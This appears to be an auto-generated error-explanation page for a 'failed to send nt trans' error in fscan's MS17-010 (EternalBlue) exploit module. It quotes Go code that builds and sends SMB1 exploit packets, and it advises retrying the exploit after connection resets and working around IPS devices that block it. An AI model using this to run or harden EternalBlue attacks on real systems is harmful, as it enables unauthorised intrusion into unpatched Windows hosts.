What causes "failed to send nt trans: %s" in shadow1ng/fscan?

Verify network reachability and absence of an IPS resetting the session

failed to send nt trans: %s

Error message

failed to send nt trans: %s

What it means

smb1LargeBuffer first calls sendNTTrans to stage an NT Trans request that allocates a large buffer on the target. If sending that NT Trans packet fails at the TCP level, the error is wrapped as 'failed to send nt trans'. This is a network write failure during the EternalBlue exploit chain.

Source

Thrown at plugins/services/ms17010_exp.go:501

	// update packet size
	b := buf.Bytes()
	sizeBuf := make([]byte, 4)
	binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4))
	copy(b[1:], sizeBuf[1:])

	// send packet
	_, err = buf.WriteTo(conn)
	if err != nil {
		return nil, err
	}
	_, header, err := smb1GetResponse(conn)
	return header, err
}

func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
	transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
	if err != nil {
		return fmt.Errorf("failed to send nt trans: %s", err)
	}
	// initial trans2 request
	treeID := transHeader.TreeID
	userID := transHeader.UserID
	trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero")
	// send all but the last packet
	for i := 1; i < 15; i++ {
		packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer")
		trans2Packet = append(trans2Packet, packet...)
	}
	smb1EchoPacket := makeSMB1EchoPacket(treeID, userID)
	trans2Packet = append(trans2Packet, smb1EchoPacket...)

	_, err = conn.Write(trans2Packet)
	if err != nil {
		return fmt.Errorf("failed to send large buffer: %s", err)
	}
	_, _, err = smb1GetResponse(conn)

View on GitHub (pinned to 95cc12e753)

Solutions

Verify network reachability and absence of an IPS resetting the session
Re-check the target is a vulnerable Windows SMB1 host
Add retry logic around smb1LargeBuffer for transient resets
Inspect firewall/IDS logs for RST packets on port 445

Defensive patterns

Strategy: retry

Validate before calling

// ensure the connection is still writable before the trans stage
if tcpConn, ok := conn.(*net.TCPConn); ok {
    if err := tcpConn.SetWriteDeadline(time.Now().Add(10 * time.Second)); err != nil {
        return err
    }
}

Try / catch

if err := smb1LargeBuffer(conn, header); err != nil {
    if errors.Is(err, syscall.ECONNRESET) || errors.Is(err, syscall.EPIPE) {
        // reconnect and retry the exploit once
    }
    return err
}

Prevention

Re-negotiate a fresh connection if a previous write failed
Check for IPS devices that reset EternalBlue-like traffic
Keep write deadlines explicit to fail fast and retry
Validate target patch level first to avoid deliberate resets

When it happens

Trigger: exploit calls smb1LargeBuffer, which calls sendNTTrans(conn, header.TreeID, header.UserID); conn.Write fails because the target closed/reset the connection after negotiate, a firewall dropped the packet, or a TCP timeout expired.

Common situations: Target patched against MS17-010 kills the session mid-handshake; IPS/IDS (e.g. Snort EternalBlue rules) resets the connection on the NT Trans pattern; slow WAN links exceed write deadlines.

Related errors

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/2484ad37ad0f20af. Report an issue: GitHub.